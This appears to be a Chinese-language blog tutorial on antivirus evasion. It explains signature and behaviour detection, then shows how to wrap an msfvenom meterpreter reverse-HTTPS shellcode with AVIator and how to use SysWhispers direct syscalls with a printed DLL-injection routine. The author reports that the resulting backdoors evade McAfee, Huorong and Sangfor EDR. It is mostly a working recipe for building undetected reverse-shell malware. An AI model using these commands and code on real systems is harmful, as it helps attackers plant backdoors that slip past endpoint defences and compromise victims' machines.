什么是免杀?
免杀就是‘反杀毒技术’,AV--AntiVirus。
免杀一般分为两种,按方式分:
- 无源码的免杀(二进制免杀):只能通过通过修改asm代码/二进制数据/其他数据来完成免杀
- 有源码的免杀:可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术 或者按照行为分:
- 静态文件免杀:被杀毒软件病毒库/云查杀了,也就是文件特征码在病毒库。杀毒软件一般是提取文件一段特征码来识别病毒文件(比如一段md5的哈希值)
- 动态行为免杀:运行中执行的某些行为被杀毒软件拦截报读。主要是指一些文件在运行过程中的一些疑似恶意行为调用,杀毒软件检测到会将他们判定为病毒文件(比如修改注册表,添加启动项,添加服务,文件写入,文件修改,杀进程,创建进程,注入等等) 关于免杀的方法和工具网上有很多,接下来主要介绍两个自己实操过的方法。
Avlator免杀
AVIator使用AES加密来加密Shellcode,生成一个包含加密有效负载的可执行文件,然后使用各种注入技术将shellcode解密并注入到目标系统,从而绕过杀毒软件的检测。
工具下载
AVIator只有windows版,c#开发,单文件exe。
安装也非常方便,直接从github上下载下来。
git clone github.com/Ch0pin/AVIa…
或者直接下载压缩包github.com/Ch0pin/AVIa…
解压后在Compiled Binaries文件夹中有x86和x64的可执行exe文件,执行即可
操作步骤
- 首先利用msf生成一个基础的shellcode
msfvenom -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f csharp -o test.c
- Avlator处理shellcode AES密钥和初始向量可以选择默认,然后添加msf生成的shellcode,选择注入技术的类型,生成后门文件
- 执行效果
打开杀毒软件运行生成的后门文件,发现线程劫持注入的文件可以绕过McAfee和火绒的检测
Tips:
shellcode是一段用于利用软件漏洞(缓冲区溢出)而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名,下图为cd生成的一段shellcode
在加密shellcode时候可能因为格式问题出现无法得到加密结果的问题:如下图所示:
解决方法为将‘\’替换为‘0’,并由逗号隔开,即可得到加密结果:
另外,对于Shellcode免杀,还有一些比如shellcode混淆,XOR异或,base64编码,古典/现代加密手段都能通过修改shellcode从而绕过杀毒软件的检测等
SysWhispers实现AVEDR绕过
SysWhispers能够生成Header文件和ASM文件,并通过发送直接系统调用来绕过反病毒以及终端防护响应工具。该工具支持Windows XP至Windows 10的所有系统核心调用,生成的样本文件可以直接从“example-output/”目录获取。
工具下载
`
git clone github.com/jthuraisamy…
cd SysWhispers
pip3 install -r .\requirements.txt
py .\syswhispers.py --help `
命令行导出所有Windows版本支持的全部功能:
py .\syswhispers.py --preset all -o syscalls_all
导出NtProtectVirtualMemory和NtWriteVirtualMemory函数:
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem
脚本注入实例:
#include <Windows.h>
void InjectDll(const HANDLE hProcess, const char* dllPath)
{
LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID lpStartAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");
WriteProcessMemory(hProcess, lpBaseAddress, dllPath, strlen(dllPath), nullptr);
CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpBaseAddress, 0, nullptr);
}
可以在对应路径找到生成的文件:
执行效果: SangforEDR和McAfee都没报毒
导入至Visual Studio
1、将生成的Header/ASM文件拷贝至项目目录;
2、在Visual Studio中,点击Project→Build Customizations...,然后启用MASM;
3、在Solution Explorer中,添加.h和.asm文件至项目中,作为对应的Header和源文件引用;
4、进入ASM文件的属性页中,设置Item类型为Microsoft Macro Assembler;
5、确保项目平台设置为x64,目前该项目不支持32位平台;
由于刚接触不久,能力有限,暂时只尝试了以上两种方式,待深入了解...
参考文档
www.freebuf.com/sectool/224… www.freebuf.com/articles/sy… blog.csdn.net/qq_41683305…